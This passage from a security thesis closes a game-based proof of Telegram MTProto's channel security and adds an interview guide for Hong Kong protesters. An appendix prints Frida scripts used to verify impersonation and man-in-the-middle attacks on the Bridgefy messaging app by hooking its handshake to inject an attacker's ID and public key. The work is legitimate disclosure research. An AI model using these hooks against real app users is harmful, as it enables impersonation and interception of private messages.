payload p. It follows that bad4 can never be set when SE = MTP-SE, so we have

Pr
[
badG7

4

]
= 0.

For the subsequent transitions, we say that a ciphertext c belongs to (or appears in) a support transcript
tr if and only if ∃m′, aux′ : (sent,m′, c, aux′) ∈ tr.

G8 → G9. Consider the Recv oracle in the game G8 (Fig. 6.51). Let st∗ME,u contain the value of
stME,u at the start of the ongoing call to Recv on inputs (u, c, aux). We start by showing that Recv
evaluates (stME,u,m) ←ME.Decode(stME,u, p, aux) and does not subsequently roll back the values of
(stME,u,m) to (st∗ME,u,⊥) if and only if c belongs to tru:

(1) If the Recv oracle evaluates (stME,u,m) ← ME.Decode(stME,u, p, aux) and does not restore
the values of (stME,u,m), then aid′ = aid and S[u,msk′] = (p, cSE) (the latter implies msk′ =
msk). According to the construction of the Send oracle, this means that the ciphertext c =

(aid′,msk′, cSE) appears in the transcript tru.

(2) Let c = (aid′,msk′, cSE) be any MTP-CH ciphertext, and let u ∈ {I,R}. If c belongs to tru,
then by the construction of the Send oracle we know that aid′ = aid and S[u,msk′] = (p, cSE)
for the payload p such that k = T[u,msk′], and cSE = SE.Enc(k, p), and p = SE.Dec(k, cSE).
The latter equality is guaranteed by the decryption correctness of SE = MTP-SE that we used
for the transition G6 → G7. The RKCR-security of MAC guarantees that once S[u,msk′] is
populated, a future call to the Send oracle cannot overwrite S[u,msk′] with a different pair
of values. All of the above implies that if c belongs to tru at the beginning of a call to the
oracle Recv, then this oracle will successfully verify that aid′ = aid and S[u,msk′] = (p, cSE) for
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p← SE.Dec(k, cSE) (whereas msk′ = msk follows from S[u,msk′] containing the payload p). It
means that the instruction (stME,u,m) ← ME.Decode(stME,u, p, aux) will be evaluated, and the
variables (stME,u,m) will not be subsequently rolled back to (st∗ME,u,⊥).

The game G9 (Fig. 6.52) differs from the game G8 (Fig. 6.51) in the following ways:

(1) The game G9 adds a payload table P that is updated during each call to the oracle Send. We
set P[u, c] ← p to indicate that the MTP-CH ciphertext c , which was sent from the user u
to the user u, encrypts the payload p. Observe that any pair (u, c) with c = (aid,msk, cSE)
corresponds to a unique payload that can be recovered as p ← SE.Dec(T[u,msk], cSE). This
relies on decryption correctness of SE, which is guaranteed to hold for ciphertexts inside the
table P due to the changes that we introduced in the transition between the games G6 → G7.

(2) The game G9 rewrites the code of Recv of G8 to run ME.Decode if and only if the ciphertext c
belongs to the transcript tru; otherwise, the Recv oracle does not change stME,u and simply sets
m ← ⊥. This follows from the analysis of G8 that we provided above. We note that checking
whether c belongs to tru is equivalent to checking P[u, c] ≠ ⊥. For simplicity, we do the latter;
and if the condition is satisfied, then we set p← P[u, c] and run ME.Decode with this payload
as input. As discussed above, the MTP-CH ciphertext c that is issued by the user u always
encrypts a unique payload p, and hence we can rely on the fact that the table entry P[u, c] stores
this unique payload value.

(3) The game G9 also rewrites one condition inside the oracle Send on line 6, in a more compact
but equivalent way (here we rely on the fact that the values u,msk, p uniquely determine cSE).
It also adds one new conditional statement to the oracle Recv on line 10 (checking m∗ ≠ ⊥),
which will be used by future transitions.

The games G9 and G8 are functionally equivalent, so

Pr[G9] = Pr[G8] .

G9 → G10. The games G9 and G10 (Fig. 6.52) are identical until bad5 is set. The game G10 enforces
thatm∗ = ⊥whenever the oracleRecv is called on a ciphertext that cannot be found in the appropriate
user’s transcript. We have

Pr[G9] − Pr[G10] ≤ Pr
[
badG9

5

]
.

If bad5 is set in the game G9 on line 11 of Recv, then the support function supp returned m∗ ≠ ⊥ in
response to an MTP-CH ciphertext c that does not belong to the opposite user’s transcript tru. The
statement of Theorem 2 considers supp = SUPP. The latter is defined to always return m∗ = ⊥ when
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Games G9–G13

1 : // As G3–G4 in Fig. 6.47

Send(u,m, aux, r)
1 : st∗ME,u ← stME,u

2 : (stME,u, p) ← ME.Encode(stME,u,m, aux; r)
3 : msk← MAC.Ev(mku, p)
4 : if T[u,msk] = ⊥ then T[u,msk] ←$ {0, 1}KDF.ol

5 : k ← T[u,msk] ; cSE ← SE.Enc(k, p)
6 : if (S[u,msk] ≠ ⊥) ∧ (S[u,msk] ≠ (p, cSE)) then
7 : stME,u ← st∗ME,u ; return ⊥
8 : if SE.Dec(k, cSE) ≠ p then
9 : stME,u ← st∗ME,u ; return ⊥
10 : S[u,msk] ← (p, cSE) ; c ← (aid,msk, cSE)
11 : tru ← tru ∥ (sent,m, c, aux) // G9–G11

12 : tru ← tru ∥ (sent,m, p, aux) // G12–G13

13 : P[u, c] ← p ; return c

Recv(u, c, aux)
1 : if P[u, c] ≠ ⊥ then

2 : p← P[u, c]

3 : (stME,u,m) ← ME.Decode(stME,u, p, aux)

4 : m∗ ← supp(u, tru, tru, c, aux)
}

// G9–G11
5 : tru ← tru ∥ (recv,m, c, aux)
6 : m∗ ← supp(u, tru, tru, p, aux)

}
// G12–G13

7 : tru ← tru ∥ (recv,m, p, aux)

8 : else
9 : m ← ⊥ ; m∗ ← supp(u, tru, tru, c, aux)
10 : if m∗ ≠ ⊥ then
11 : bad5 ← true

12 : m∗ ← ⊥ // G10–G13

13 : tru ← tru ∥ (recv,m, c, aux) // G9–G10

14 : if m ≠ m∗ then
15 : bad6 ← true
16 : win← true // G9–G12

17 : return ⊥

Figure 6.52. Games G9–G13 for the proof of Theorem 2.
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its input label does not appear in tru, so

Pr
[
badG9

5

]
= 0.

We refer to this property as the integrity of support function supp. We formalise it in Appendix D.1.

G10 → G11. The game G11 (Fig. 6.52) stops adding entries of the form (recv,⊥, c, aux) to the
transcripts of both users. Once this is done, it becomes pointless for the adversary AINT to call its
Recv oracle on any ciphertext that does not appear in the appropriate user’s transcript. This is because
such a call will never set the win flag (due to the change introduced in the transition G9 → G10) and
will never affect the transcript of either user (due to the change introduced in this transition). The
statement of Theorem 2 considers supp = SUPP. The latter is defined to ignore all transcript entries
of the form (recv,⊥, c, aux), so removing the instruction tru ← tru ∥ (recv,m, c, aux) on line 13 of
Recv for m = ⊥ will not affect the outputs of any future calls to this support function. We have

Pr[G11] = Pr[G10] .

Earlier in this section, we referred to this property as the robustness of a support function supp.

G11 → G12. When discussing the differences between the games G8 and G9, we showed that for
each pair of a sender u ∈ {I,R} and an MTP-CH ciphertext c , the encrypted payload p is unique. It
is also true that for each pair of u ∈ {I,R} and a payload p, there is a unique MTP-CH ciphertext c
that encrypts p in the direction from u to u. It follows that in the games G11 and G12 (Fig. 6.52) for
any fixed user u ∈ {I,R} there is a 1-to-1 correspondence between payloads and MTP-CH ciphertexts
that could be successfully sent from u to u (note that this property does not hold if SE does not have
decryption correctness, but the code added for the transition G6 → G7 already identifies and discards
the corresponding ciphertexts).

The statement of Theorem 2 considers supp = SUPP. Observe that for any label z sent from u to u,
the support function SUPP checks only its equality with every z∗ such that (sent,m, z∗, aux) ∈ tru
or (recv,m, z∗, aux) ∈ tru across all values of m, aux. In other words, this support function only
looks at the equality pattern of the labels, and it does this independently in each of the two directions
between the users. The 1-to-1 correspondence between c and p, with respect to any fixed user u, means
we can replace the labels used in the support transcripts from c to p, and replace the label inputs to the
support function SUPP in the same way; this does not change the outputs of the support function.
We have

Pr[G12] = Pr[G11] .
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G12 → G13. The games G12 and G13 (Fig. 6.52) are identical until bad6 is set. We have

Pr[G12] − Pr[G13] ≤ Pr
[
badG13

6

]
.

The bad6 flag is set on line 15 of Recv. The games G12 and G13 can be thought of as simulating a
bidirectional authenticated channel that allows the two users to exchange ME payloads. The adversary
AINT is allowed to forward, replay, reorder and drop the payloads; but it is not allowed to forge them.
This roughly corresponds to the definition of EINT-security of ME with respect to supp. In the games
G12–G13 the oracle Send still runs cryptographic algorithms in order to generate and return MTP-CH
ciphertexts, but we will build an EINT-security adversary that simulates these instructions for AINT.

In Fig. 6.53, we build an adversary AEINT against the EINT-security of ME, supp as follows. When
the adversary AEINT plays in the game Geint

ME,supp,AEINT
(Fig. 6.6), it simulates the game G13 for the

Adversary ASend,Recv
EINT (stME,I, stME,R)

1 : hk←$ {0, 1}HASH.kl

2 : mk←$ {0, 1}320

3 : x ←$ {0, 1}992

4 : aid ← HASH.Ev(hk, x)
5 : (mkI,mkR) ← ϕMAC (mk)
6 : ASendSim,RecvSim

INT

SendSim(u,m, aux, r)
1 : st∗ME,u ← stME,u

2 : (stME,u, p) ← ME.Encode(stME,u,m, aux; r)
3 : msk← MAC.Ev(mku, p)
4 : if T[u,msk] = ⊥ then

5 : T[u,msk] ←$ {0, 1}KDF.ol

6 : k ← T[u,msk] ; cSE ← SE.Enc(k, p)
7 : if (S[u,msk] ≠ ⊥)
8 : ∧ (S[u,msk] ≠ (p, cSE)) then
9 : stME,u ← st∗ME,u ; return ⊥
10 : if SE.Dec(k, cSE) ≠ p then
11 : stME,u ← st∗ME,u ; return ⊥
12 : S[u,msk] ← (p, cSE) ; c ← (aid,msk, cSE)
13 : Send(u,m, aux, r)
14 : P[u, c] ← p ; return c

RecvSim(u, c, aux)
1 : if P[u, c] ≠ ⊥ then
2 : p← P[u, c]
3 : (stME,u,m) ← ME.Decode(stME,u, p, aux)
4 : Recv(u, p, aux)
5 : return ⊥

Figure 6.53. Adversary AEINT against the EINT-security of ME, supp for the transition between the
games G12–G13.
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adversary AINT. The adversary AEINT wins in its own game whenever AINT sets bad6, so we have

Pr
[
badG13

6

]
≤ Adveint

ME,supp (AEINT) .

Observe thatAEINT takes I’s and R’s initialME states as input, and repeatedly calls theME algorithms
to manually update these states (as opposed to relying on its Send and Recv oracles). This allows
AEINT to correctly identify the two conditional statements inside the simulated oracle SendSim that
require to roll back the most recent update to stME,u and to exit the oracle with ⊥ as output.

G13. AINT can no longer win in the game G13, because the only instruction that sets the win flag in
the games G0–G12 (line 16 of Recv) was removed in the transition to the game G13. Hence

Pr[G13] = 0.

The statement of the theorem follows.

Proof alternatives. In the earlier analysis of Case A, we relied on a certain property of the message
encoding scheme ME. Roughly speaking, we reasoned that the algorithm ME.Decode should not be
able to successfully decode random-looking strings, meaning it should require that decodable payloads
are structured in a certain way. We now briefly outline a proof strategy that does not rely on such a
property of ME.

In Case A, the adversary AINT calls its oracle Recv(u, c, aux) on c = (aid′,msk′, cSE) with a msk′

value that was never previously returned by the oracle Send as a part of a ciphertext produced by
the user u. Let us modify our initial goal for Case A as follows: we want to show that evaluating
k ← KDF.Ev(kku,msk′), p← SE.Dec(k, cSE) and msk← MAC.Ev(mku, p) is very unlikely to result
in msk′ = msk. In fact, it is sufficient to focus on the last instruction here: we require that it is hard to
forge any input-output pair (p,msk′) such that msk′ = MAC.Ev(mku, p). This property is guaranteed
if MAC is related-key PRF-secure.

Theorem 2 is currently stated for a generic function family MAC, but it could be narrowed down
to use MAC = MTP-MAC where MAC.Ev(mku, p) = SHA-256(mku ∥ p) [64 : 192]. Crucially, the
algorithm MTP-MAC.Ev is defined to drop half of the output bits of SHA-256; this prevents length
extension attacks. We could model MTP-MAC as the Augmented MAC (AMAC), and use the results
from [BBT16] to show that it is related-key PRF-secure. Technically, this would require proving three
claims as follows:

(1) The output of the first compression function underlying SHA-256(mku ∥ p) [64 : 192] looks
uniformly random when used with related keys; we already formalise and analyse this property
in Section 6.5.1, phrased as the HRKPRF-security of SHACAL-2 with respect to ϕMAC.

(2) The SHA-256 compression function f256 is OTPRF-secure.

158



6.7 Correctness and security of the MTProto channel

(3) The SHA-256 compression function is (roughly) PRF-secure even in the presence of some
leakage on its key, i.e. an attacker receives k [64 : 192] when trying to break the PRF-security
of f256(k, ·); we do not formalise or analyse this property in our work.

Here, (1) and (2) could be chained together to show that MTP-MAC is a secure PRF even for variable-
length inputs; then (3) would suffice to show that MTP-MAC is resistant to length extension attacks.

Adopting the above proof strategy would have allowed us to omit the following two steps from the
current security reduction. The UNPRED-security of SE,ME would get directly replaced with a
new related-key PRF-security assumption for MAC = MTP-MAC, following the results for AMAC
from [BBT16]. The RKPRF-security of KDF (with respect to ϕKDF) would no longer be needed,
because currently its only use is to transform the security game prior to appealing to the UNPRED-
security of SE,ME.

6.7.4 Instantiation and interpretation

We are now ready to combine the theorems from the previous two sections with the notions defined
and proved in Sections 6.4 to 6.6. This is meant to allow interpretation of ourmain results: qualitatively
(what security assumptions are made) and quantitatively (what security level is achieved). Note that
in both of the following corollaries, the adversary is limited to making 296 queries. This is due to the
wrapping of counters in MTP-ME, since beyond this limit the advantage in breaking UPREF-security
and EINT-security of MTP-ME becomes 1.

Corollary 1. Let sid ∈ {0, 1}64, npad ∈ N and `block = 128. Let ME = MTP-ME[sid,npad, `block],
MTP-HASH, MTP-MAC, MTP-KDF, ϕMAC, ϕKDF, MTP-SE be the primitives of MTProto defined in
Section 6.3.2. Let CH = MTP-CH[ME,MTP-HASH,MTP-MAC,MTP-KDF, ϕMAC, ϕKDF,MTP-SE].
Consider ϕSHACAL-2. Let f256 be the SHA-256 compression function, and let F be the corresponding
function family with F.Ev = f256, F.kl = F.ol = 256 and F.In = {0, 1}512. Let ` ∈ N. Let DIND be
any adversary against the IND-security of CH, making qSend ≤ 296 queries to its Send oracle, each query
made for a message of length at most ` ≤ 227 bits.18 Then we can build adversaries Dshacal

OTPRF, DLRKPRF,

18The length of a message m in MTProto is ` B |m | ≤ 227 bits. To build a payload p, ME.Encode prepends a
256-bit header, and appends at most `block · (npad + 1)-bit padding. Further evaluation of MAC on p might append
at most 512 additional bits of SHA padding. So this corollary uses Lemma 1 with the maximum number of blocks
T =

⌊ (
256 + ` + `block · (npad + 1) + 512

)
/512

⌋
minus the first 512-bit block that is processed separately in Proposition 4.
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DHRKPRF, Df
OTPRF, DOTIND$ such that

Advind
CH (DIND) ≤ 4 ·

(
Advotprf

SHACAL-1

(
Dshacal

OTPRF

)
+ Advlrkprf

SHACAL-2,ϕKDF,ϕSHACAL-2
(DLRKPRF)

+ Advhrkprf
SHACAL-2,ϕMAC

(DHRKPRF)

+
⌊
` + 256
512

+
npad + 1

4

⌋
· Advotprf

F

(
Df

OTPRF

) )
+
qSend · (qSend − 1)

2128

+ 2 · Advotind$
CBC[AES-256] (DOTIND$) .

Corollary 1 follows from Theorem 1 together with Proposition 1, Proposition 3, Proposition 4 with
Lemma 1, and Proposition 2. The two terms in Theorem 1 related to ME are zero for ME = MTP-ME
when the adversary is restricted to making qSend ≤ 296 queries.

Qualitatively, Corollary 1 shows that the confidentiality of the MTProto-based channel depends on
whether SHACAL-1 and SHACAL-2 can be considered as pseudorandom functions in a variety of
modes: with keys used only once, related keys, partially chosen-keys when evaluated on fixed inputs
and when the key and input switch positions. Especially the related-key assumptions (LRKPRF and
HRKPRF given in Section 6.5.1) are highly unusual; in Appendix D.3 we show that both assumptions
hold in the ideal cipher model, but both of them require further study in the standard model.

Quantitatively, a limiting term in the advantage, which implies security only if qSend < 264, is a result
of the birthday bound on the MAC output, though we note that we do not have a corresponding
attack in this setting and thus the bound may not be tight.

Corollary 2. Let sid ∈ {0, 1}64, npad ∈ N and `block = 128. Let ME = MTP-ME[sid,npad, `block],
MTP-HASH, MTP-MAC, MTP-KDF, ϕMAC, ϕKDF, MTP-SE be the MTProto primitives defined in
Section 6.3.2. Let CH = MTP-CH[ME,MTP-HASH,MTP-MAC,MTP-KDF, ϕMAC, ϕKDF,MTP-SE].
Consider ϕSHACAL-2. Let SHA-256′ be SHA-256 with its output truncated to the middle 128 bits. Consider
supp = SUPP. LetAINT be any adversary against the INT-security of CH with respect to supp, making
qSend ≤ 296 queries to its Send oracle. Then we can build adversaries DOTPRF, DLRKPRF,ACR such that

Advint
CH,supp (AINT) ≤ 2 ·

(
Advotprf

SHACAL-1 (DOTPRF)

+ Advlrkprf
SHACAL-2,ϕKDF,ϕSHACAL-2

(DLRKPRF)
)

+
qSend
264
+ Advcr

SHA-256′ (ACR) .

Corollary 2 follows from Theorem 2 together with Proposition 1, Proposition 3 and Proposition 7.
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The term Adveint
MTP-ME,SUPP (AEINT) from Theorem 2 resolves to 0 for adversaries making qSend ≤ 296

queries according to Proposition 5.

Qualitatively, Corollary 2 shows that also the integrity of the MTProto-based channel depends on
SHACAL-1 and SHACAL-2 behaving as PRFs. Due to the way MTP-MAC is constructed, the result
also depends on the collision resistance of truncated-output SHA-256 (as discussed in Section 6.4.2).

Quantitatively, the advantage is again bounded by qSend < 264. This bound follows from the fact that
the first block of payload contains a 64-bit constant sid which has to match upon decoding. If the
MTProto message encoding scheme consistently checked more fields during decoding (especially in
the first block), the bound could be improved.

6.8 Discussion

The central result of this chapter is a proof that the use of symmetric encryption in Telegram’s
MTProto 2.0 can provide the basic security expected from a bidirectional channel if small modifications
are made. The Telegram developers have indicated that they implemented most of these changes.
Thus, our work can give some assurance to those reliant on Telegram providing confidential and
integrity-protected cloud chats – at a comparable level to chat protocols that run over TLS’s record
protocol. However, our work comes with a host of caveats.

Tightness. Our proofs are not necessarily tight. Our theorem statements contain advantage terms that
are meaningful with respect to adversaries that make up to 264 queries (i.e. terms of the approximate
form q/264 or q2/2128 where q is the number of queries sent by the adversary). Yet, we have no
attacks matching these bounds – the attacks of Chapter 5 with complexity 264 are outside the model.
Thus, it is possible that a refined analysis would yield tighter bounds.

Future work. Large parts of Telegram’s design remain unstudied: multi-user security, the key ex-
change, the higher-level message processing, secret chats, forward secrecy, control messages, bot APIs,
CDNs, cloud storage, the Passport feature, to name but a few. These are pressing topics for future
work.

Assumptions. In our proofs we are forced to rely on unstudied assumptions about the underlying
primitives used in MTProto. In particular, we have to make related-key assumptions about the
compression function of SHA-256 which could be easily avoided by tweaking the use of these
primitives inMTProto. In the meantime, these assumptions represent interesting targets for symmetric
cryptanalysis. Similarly, the complexity of our proofs and assumptions largely derives from MTProto
deploying hash functions in place of (domain-separated) PRFs such as HMAC. We recommend that
Telegram either adopts well-studied primitives for future versions of MTProto to ease analysis and
thus to increase confidence in the design, or adopts TLS.
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6.8 Discussion

Telegram. While we prove security of the symmetric part of MTProto at a protocol level, we
recall that by default communication via Telegram must trust the Telegram servers, i.e. end-to-end
encryption is optional and not available for group chats. We thus, on the one hand, (a) recommend
that Telegram open-sources the cryptographic processing on their servers and (b) recommend to avoid
referencing Telegram as an “encrypted messenger” which – post-Snowden – has come to mean end-to-
end encryption. On the other hand, discussions about end-to-end encryption aside, echoing [EHM17]
and Chapter 3 we note that many higher-risk users do rely on MTProto and Telegram and shun
end-to-end encrypted messengers such as Signal. This emphasises the need to study these technologies
and how they serve those who rely on them.
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So we made ourselves into a society for asking questions.

— V. Woolf, A Society, 1921

APPENDIX A

Interview topic guide

Topic guide used for semi-structured interviews with individuals who have been involved in the
Anti-Extradition Law protests in Hong Kong (HK). While structured around five key topics, it
includes prompts, examples and follow-on questions to guide the interview.

Topic 1: The use of communication technology in HK

The aim of this topic is to establish existing communication patterns in HK, beyond the protests,
before focusing on the protest context in subsequent topics.

• Preferred mode of communication in HK?

• Popular online platforms in HK?

• Why do you think they are popular in HK?

• Why use these online platforms?

• Benefits/disadvantages?

• Use of large group chats/forums in HK?

• Why? Why not?

• The use of online platforms by HK authorities in everyday communications?

Topic 2: Platforms and group chats/forums in the Anti-ELAB protests

This topic focuses on how the protest context changes communication patterns, if at all.

• How does the use of online platforms change during protests?

• To what extent are some platforms used more than others? Which?

• Why do you think that is? Examples?

• How do communication patterns change during protest? In terms of: networks, group chat/fo-
rum size, frequency?
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• Where are online platforms used? In the street?

• At what points in the protests are online platforms relied upon? By whom? Why?

• For what purpose are platforms/group chats/forums used? For planning and organisation?
Data gathering? Verification of rumours?

• Temporal aspects: to what extent do the dynamics of the protests reflect app use/avoidance?

• Are you aware of Bluetooth enabled applications being used? Bridgefy? Concerns about security
shape communication technology use during the Hong Kong protests

Topic 3: How concerns about security shape communication technology use during the
Anti-ELAB protests

This topic focuses specifically on concerns related to the use of communication technology during
the Anti-ELAB protests.

• Concerns about online communication switch-off? Likelihood?

• What would be the concern?

• Who would be concerned? Protesters? Why?

• How would a switch off affect the protests?

• Concerns about infiltration of specific applications?

• To what extent do people speak more openly on one app over the other? Specific applications?
Why?

• Concerns about information shared? Why? Examples?

• Concerns about information received? Why? Examples?

Topic 4: Notions of security within online/offline networks during the Anti-ELAB
protests

This topic focuses on how networks – online and offline – are shaped by different notions of security.

• To what extent do people know participants in their group chats/forums?

• How do these groups map onto offline groupings?

• How are people added and removed from networks? Platform specific? Group chat/forum
specific? Specific processes of authentication?

• To what extent do online and offline onboarding map onto each other?
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• What are the main disruptive factors within online networks?

• Concerns about being seen to be present in protest related chat groups? Why? Examples?

• Wider networks: what repercussions might protesters fear? Affecting themselves, their family,
their friends etc.?

• Who might they fear repercussions from?

Topic 5: Designing secure communication platforms for high-risk environments

As a “wrap-up”, this topic explores future directions in the design of secure communication technology
for high-risk contexts.

• What should designers of secure communication platforms design for based on your experience
with these protests? Why?
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A mage can control only what is near him, what he can name exactly and wholly.

— U.K. Le Guin, A Wizard of Earthsea, 1968

APPENDIX B

Bridgefy code

In the following, assume Bridgefy version 2.1.28 with the Bridgefy SDK version 1.0.6.

B.1 Bridgefy message classes

These classes can be found in three packages: me.bridgefy.entities, com.bridgefy.sdk.framework.entities,
and com.bridgefy.sdk.client (the class Message).

In the following figures, data types are Java SE data types. In particular an int is a 32-bit integer, a
long is a 64-bit integer and Integer and Long are their object forms.

Figure B.1. Classes of me.bridgefy.entities.

Message:
String conversation , messageId , offlineId
String receiver , sender , otherUsername
String dateSent , serverDate
int messageType
String text // text of the actual message
String fileName
byte[] fileContent
int status // sent/delivered/read

AppHandshake:
AppRequestJson rq
AppResponseJson rp

AppRequestJson:
int tp // type
String dt // device type (Android)

AppResponseJson:
int tp // type: general , phone or finished
String uid // user ID
String ph // phone number
String un // username
boolean dn // no phone
int vrf // verified user
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B.1 Bridgefy message classes

Figure B.2. Classes of com.bridgefy.sdk.framework.entities.

BleEntity:
String id
int et // entity type
T ct // content
byte[] binaryPart // encrypted mesh

messages
byte[] data // media file content

BleHandshake:
Integer rq // request type
ResponseJson rp // response

ResponseJson:
int type // general or key
String uuid // user ID
String v, lcv // SDK version
long crcKey // CRC of public key
int dt
String key // public key

BleEntityContent:
String id
HashMap <String , Object > pld // payload

ForwardTransaction:
String sender
String mesh_reach // mesh delivery receipt
boolean dump
List <ForwardPacket > mesh

ForwardPacket:
String id, sender , receiver
int receiver_type // user or broadcast
int enc_payload // index into binaryPart
HashMap <String , Object > payload
long creation , expiration
int hops , profile , propagation
ArrayList <Long > track
byte[] forwardedPayload
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B.1 Bridgefy message classes

Figure B.3. Classes of me.bridgefy.entities.transport.

AppEntity:
String ct, mi // content , message id
long ds // date sent
int et // entity type

AppEntityMessage extends AppEntity:
int mt // message type
int ku // unused
String nm // username of the sender

AppEntitySignal extends AppEntity:
int ms // signal type

AppEntityHandShake extends AppEntity:
AppHandShake hi

Figure B.4. Class com.bridgefy.sdk.client.Message.

Message:
HashMap content // payload
String receiverId , senderId , uuid
long dateSent
byte[] data // media file content
boolean isMesh
int hop , hops // time to live counter
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B.2 Code for the impersonation and MitM attacks

B.2 Code for the impersonation and MitM attacks

Here, we give an example of the scripts used to verify the attacks in Sections 4.4.2 and 4.4.3. The
Python code was run in conjunction with Frida and several different JavaScript files (depending on
the version of the attack and which device a particular script was run on).

The full suite of scripts is attached to the electronic version of this document: these include the file
frida-bridgefy.py shown below and all of the frida-auth-*.js scripts.

Listing B.1. frida-bridgefy.py.

#!/usr/bin/python3
# to be run with auth_ *.js scripts: auth_first for authentication attack ,

auth_second for mitm attack

import frida , sys , argparse

# PARAMETERS (adapt before use)
ROOT_DEVICE = ’XL’ # name for rooted phone with frida installed
ROOT_DEVICE_ID = ’123456789 ’ # replace with adb id
GADGET_DEVICE = ’3a’ # name for non -rooted phone with repackaged app containing

frida -gadget
DEVICES = [ROOT_DEVICE , GADGET_DEVICE]

# send messages back from the script
def on_message(message , data):

if message[’type’] == ’send’:
print(message[’payload ’])

else:
print(message)

# command line arguments

parser = argparse.ArgumentParser(description=’Run the given script on Bridgefy
on a given device with Frida.’)

parser.add_argument(’device ’, choices=DEVICES , action=’store ’, help=’Device to
use.’)

parser.add_argument(’FILE’, action=’store ’, help=’Javascript file to use.’)
args = parser.parse_args ()

if args.device == ROOT_DEVICE:
device_id = ROOT_DEVICE_ID
package_name = ’me.bridgefy.main’

elif args.device == GADGET_DEVICE:
device_id = ’tcp’
package_name = ’Gadget ’

# set up Frida
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B.2 Code for the impersonation and MitM attacks

device = frida.get_device_manager ().get_device(device_id)
process = device.attach(package_name)

with open(args.FILE) as f:
script = process.create_script(f.read())

script.on(’message ’, on_message)
script.load()
sys.stdin.read()

Listing B.2. frida-auth-first.js.

// first authentication attack
// impersonate any sender , here LG=Ivan to XL=Ursula; run on 3a=attacker

// package and class paths
const PATH_BRIDGEFY = ’com.bridgefy.sdk.client.Bridgefy ’;
const PATH_MESSAGE = ’com.bridgefy.sdk.client.Message ’;
const PATH_CHUNK_UTILS = ’com.bridgefy.sdk.framework.controller.q’;
const PATH_CRYPTO_RSA = ’com.bridgefy.sdk.client.CryptoRSA ’;
const PATH_BLE_ENTITY = ’com.bridgefy.sdk.framework.entities.BleEntity ’;

// Bridgefy functions

function getUuid(instance) {
console.log(" uuid: "+instance.getUserUuid ());

}

// app interaction

if (Java.available) {
Java.perform(function () {

// imports

var JavaInt = Java.use(’java.lang.Integer ’);
var Bridgefy = Java.use(PATH_BRIDGEFY);
var BridgefyClient = Java.use(’com.bridgefy.sdk.client.

BridgefyClient ’);
var Session = Java.use(’com.bridgefy.sdk.framework.controller.

Session ’);
var ChunkUtils = Java.use(’com.bridgefy.sdk.framework.

controller.q’);
var Utils = Java.use(’com.bridgefy.sdk.framework.utils.Utils’);
var BleEntity = Java.use(’com.bridgefy.sdk.framework.entities.

BleEntity ’);
var BleHandshake = Java.use(’com.bridgefy.sdk.framework.
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B.2 Code for the impersonation and MitM attacks

entities.BleHandshake ’);
var Utils = Java.use(’com.bridgefy.sdk.framework.utils.Utils’);

// PARAMETERS (adapt before use)

var lg = ""; // user uuid of attacker client
var lgPk = ""; // public key of attacker client
var lgCrc = Utils.getCrcFromKey(lgPk);

/* inject user id */

var getid = BridgefyClient.getUserUuid;
getid.implementation = function () {

return lg;
};

/* modify legitimate handshake */

var first = true;

// reinterpret received handshake messages
var processHandshake = Session.a.overload(’com.bridgefy.sdk.

framework.entities.BleHandshake ’);
processHandshake.implementation = function(bleHandshake) {

send("Session.processHandshake");

var rq = bleHandshake.getRq ();
var rp = bleHandshake.getRp ();
send(" rq: "+rq);
send(" rp: "+rp);

// only interpret the first received message
differently

if (first) {
bleHandshake.setRq(JavaInt.$new (1)); // rq=1

request for keys
first = false;

}

var output = processHandshake.call(this , bleHandshake);

send(" output: "+output.toString ());
return output;

}

// modify handshake messages that are sent out in response
var generateHandshakeFor = BleEntity.generateHandShake.overload

(’com.bridgefy.sdk.framework.entities.BleHandshake ’); //
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B.2 Code for the impersonation and MitM attacks

only a wrapper for a handshake
generateHandshakeFor.implementation = function(bleHandshake) {

send("BleEntity.generateHandshake(bleHandshake)");

var rp = bleHandshake.getRp ();
rp.setUuid(lg);
rp.setCrckey(lgCrc);
if (rp.getType () == 1) {

rp.setKey(lgPk);
}
bleHandshake.setRp(rp);

var output = generateHandshakeFor.call(this ,
bleHandshake);

send(" output: "+output.toString ());
return output;

}

/* monitor all packets */

var stitch = ChunkUtils.a.overload(’java.util.ArrayList ’, ’
boolean ’, ’boolean ’);

stitch.implementation = function(binaryData , isMessagePack ,
isEncryption) {

send("ChunkUtils.stitchChunksToEntity");
var output = stitch.call(this , binaryData ,

isMessagePack , isEncryption);
send(" et: "+output.getEt());
send(" ct: "+output.getCt());
return output;

};

var genChunk = ChunkUtils.a.overload(’com.bridgefy.sdk.
framework.entities.BleEntity ’, ’int’, ’boolean ’, ’boolean ’,
’java.lang.String ’);

genChunk.implementation = function(bleEntity , length ,
isMessagePack , isEncryption , userId) {

send("ChunkUtils.generateCompressedChunk");
send(" et: "+bleEntity.getEt());
send(" ct: "+bleEntity.getCt());
var output = genChunk.call(this , bleEntity , length ,

isMessagePack , isEncryption , userId);
return output;

}
});

}
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B.3 Code for the side channel experiment

B.3 Code for the side channel experiment

Similar to the previous section, here we display the script referred to in Section 4.4.3 for the timing
side-channel experiment using two devices with Bridgefy.

Listing B.3. frida-double.py.

#!/usr/bin/python3
# for experiment with two devices

import frida , sys , argparse

# PARAMETERS (adapt before use)
ROOT_DEVICE = ’XL’ # name for rooted phone with frida installed
ROOT_DEVICE_ID = ’123456789 ’ # replace with adb id
GADGET_DEVICE = ’3a’ # name for non -rooted phone with repackaged app containing

frida -gadget
DEVICES = [ROOT_DEVICE , GADGET_DEVICE]

# send messages back from the script
def on_message(message , data):

if message[’type’] == ’send’:
print(message[’payload ’])

else:
print(message)

def run_script(script , msgtype , device , flip , delay):
script.on(’message ’, on_message)
script.load()
script.post({"type": "params", "msgtype": msgtype , "double": True , "flip":

flip , "device": device , "delay": delay })

# command line arguments

parser = argparse.ArgumentParser(description=’Run the experiment on Bridgefy on
both devices with Frida.’)

parser.add_argument(’first ’, choices=DEVICES , action=’store’, help=’First
device to activate.’)

parser.add_argument(’msgtype3a ’, type=int , action=’store’, help=’Message type
to send from 3a device.’)

parser.add_argument(’msgtypeXL ’, type=int , action=’store’, help=’Message type
to send from XL device.’)

parser.add_argument(’--flip’, default=False , const=True , action=’store_const ’,
help=’Flip bits or send random data.’)

parser.add_argument(’--delay ’, type=int , default =5000, action=’store’, help=’
Delay between messages in milliseconds.’)

args = parser.parse_args ()
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B.3 Code for the side channel experiment

# set up Frida

pxl = frida.get_device_manager ().get_device(ROOT_DEVICE_ID)
pxl_process = pxl.attach(’me.bridgefy.main’)

p3a = frida.get_device_manager ().get_device(’tcp’)
p3a_process = p3a.attach(’Gadget ’)

with open("experiment.js") as f:
pxl_script = pxl_process.create_script(f.read())

with open("experiment.js") as f:
